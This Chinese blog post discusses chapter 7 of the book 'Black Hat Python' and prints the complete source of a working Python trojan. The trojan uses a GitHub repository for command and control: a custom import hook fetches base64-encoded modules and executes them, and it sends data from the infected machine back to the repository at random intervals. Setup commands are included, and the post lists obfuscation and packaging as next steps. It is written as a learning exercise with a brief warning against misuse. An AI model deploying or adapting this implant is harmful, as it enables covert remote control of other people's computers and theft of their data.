周末在新街口大众书局看到 《Black Hat Python》(《python黑帽子 –黑客与渗透测试编程之道》),饶有兴致地翻了翻, 觉得第七章很有意思,分享过来

作者在这一章里说道

One of the most challenging aspects of creating a solid trojan framework is asynchronously controlling, updating, and receiving data from your deployed implants. It’s crucial to have a relatively universal way to push code to your remote trojans

写一个特洛伊木马的的挑战之一是异步地控制、更新和接收数据,并且能够通用的方法给你的木马们远程推送指令,而作者试图在这一章中给出一个漂亮的解决方案

木马

上边说的的木马是什么鬼

据维基百科说 , “木马”这一名称来源于希腊神话特洛伊战争的特洛伊木马。攻城的希腊联军佯装撤退后留下一只木马,特洛伊人将其当作战利品带回城内。当特洛伊人为胜利而庆祝时,从木马中出来了一队希腊兵,它们悄悄打开城门,放进了城外的军队,最终攻克了特洛伊城。计算机中所说的木马与病毒一样也是一种有害的程序,其特征与特洛伊木马一样具有伪装性,看起来挺好的,却会在用户不经意间,对用户的计算机系统产生破坏或窃取数据,特别是用户的各种账户及口令等重要且需要保密的信息,甚至控制用户的计算机系统。

经过一番追本溯源,计算机中这种被称为木马的程序有哪些特性,大家大体上应该有个印象了,如果不用隐喻,要描述出这类程序的特质,恐怕要多费许多口舌

计算机科学的趣味之一是它的词汇异常丰富和生动,有大量的隐喻和类比

《代码大全》在开篇的不久说道:

计算机科学领域中有着搜友学科中最为丰富多彩的语言。你走进一间安全严密,温度精确控制在20℃的房间,并在里面发现了病毒(virus),特洛伊木马(Trojan horse),蠕虫(worm),臭虫(bug),逻辑炸弹(bomb),崩溃(crash),论坛口水战(flame),双绞线转换头(twisted sex changer),还有致命错误(fatal error)……在其他领域中,你能遇到这些吗?

正餐

在着一章中,作者主要演示了如何利用github作为控制和数据中心,构建灵活的木马,至于你要用木马来做什么,你可以发挥想象自己写插件到module里

talk is cheap,show me your code

代码不长,直接贴上(大家可以直接看源码库),值得说明的地方稍后讲解

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
import json
import base64
import sys
import time
import imp
import random
import threading
import Queue
#import os
import yaml

from github3 import login

trojan_id = "abc"

trojan_config = "%s.json" % trojan_id
data_path     = "data/%s/" % trojan_id
trojan_modules= []

task_queue    = Queue.Queue()
configured    = False


with open("./local.yaml","r") as f:
    config = yaml.load(f)

username = config["username"]
password = config["password"]


class GitImporter(object):

    def __init__(self):
        self.current_module_code = ""


    def find_module(self,fullname,path=None):

        if configured:
            print "[*] Attempting to retrieve %s" % fullname
            new_library = get_file_contents("modules/%s" % fullname)

            if new_library is not None:
                self.current_module_code = base64.b64decode(new_library)
                return self


        return None

    def load_module(self,name):

        module = imp.new_module(name)

        exec self.current_module_code in module.__dict__

        sys.modules[name] = module

        return module



def connect_to_github():
    gh = login(username=username,password=password)
    repo = gh.repository(username,"blackhatpythonbook")
    branch = repo.branch("master")

    return gh,repo,branch

def get_file_contents(filepath):

    gh,repo,branch = connect_to_github()

    tree = branch.commit.commit.tree.recurse()

    for filename in tree.tree:

        if filepath in filename.path:
            print "[*] Found file %s" % filepath

            blob = repo.blob(filename._json_data['sha'])

            return blob.content

    return None

def get_trojan_config():
    global configured

    config_json   = get_file_contents(trojan_config)
    config        = json.loads(base64.b64decode(config_json))
    configured    = True

    for task in config:

        if task['module'] not in sys.modules:

            exec("import %s" % task['module'])

    return config

def store_module_result(data):

    gh,repo,branch = connect_to_github()

    remote_path = "data/%s/%d.data" % (trojan_id,random.randint(1000,100000))

    repo.create_file(remote_path,"Commit message",base64.b64encode(data))

    return

def module_runner(module):

    task_queue.put(1)
    result = sys.modules[module].run()
    task_queue.get()

    # store the result in our repo
    store_module_result(result)

    return


# main trojan loop
sys.meta_path = [GitImporter()]

while True:

    if task_queue.empty():

        config = get_trojan_config()

        for task in config:
            t = threading.Thread(target=module_runner,args=(task['module'],))
            t.start()
            time.sleep(random.randint(1,10))

    time.sleep(random.randint(1000,10000))

相关模块说明

github3.py

Python library for interfacing with the GitHub APIv3

imp

Access the import internals

运行

1
2
3
4
5
6
7
#fork https://github.com/wwj718/blackhatpythonbook
git clone https://github.com/USERNAME/blackhatpythonbook
cd blackhatpythonbook
mv local.yaml.template local.yaml
#填入你的github的用户名和密码
pip install github3.py
python git_trojan.py

之后你的本机数据将每隔一段时间上传到data/abc目录中,值得注意的是,数据经过base64编码

你也可以在modules目录下新建功能脚本,脚本将被定期拉到client执行,这样一来你可以以插件的形式来添加task

想象空间

我们发现一个有趣的现象,那些叫做软件的代码,通常拥有充足的资源和权限,用户尽力满足配合软件的种种需求,饶是如此,它们还常常莫名其妙地奔溃,而另一类被称作病毒的代码,时刻被限制和提防,饶是如此,它们依然能在各种复杂的环境下健壮地运行。

在某种意义上,计算机科学由黑客(hacker)驱动着

我们实际上可以将以上代码看做一种热更新机制,我们可以用它来升级已分发的程序,不需要重启就能升级软件,看上去如同生物一般生长

github Webhooks & services

Webhooks allow external services to be notified when certain events happen within your repository. When the specified events happen, we’ll send a POST request to each of the URLs you provide

利用github提供的webhook功能,我们可以进行时间通知

热加载

热加载是我前段时间感兴趣的一个话题,最初源于和@xudong的讨论,有空再写这部分

建议

  • 用小号测试
  • 不要做坏事哦

接下来干啥

  • 代码混淆
  • 分发pyc

###pyinstaller

  • pyinstaller –onefile git_trojan.py 能能通过
  • pyinstaller 编译python2脚本时Queue会找不到, 使用2to3转为python3编译,会进进下一个问题
  • github3.py引用的requests会报错,编码问题(python2和3都存在)

编码问题

2to3 -w git_trojan.py,之后用python3执行,报错:LookupError: unknown encoding: idna

资源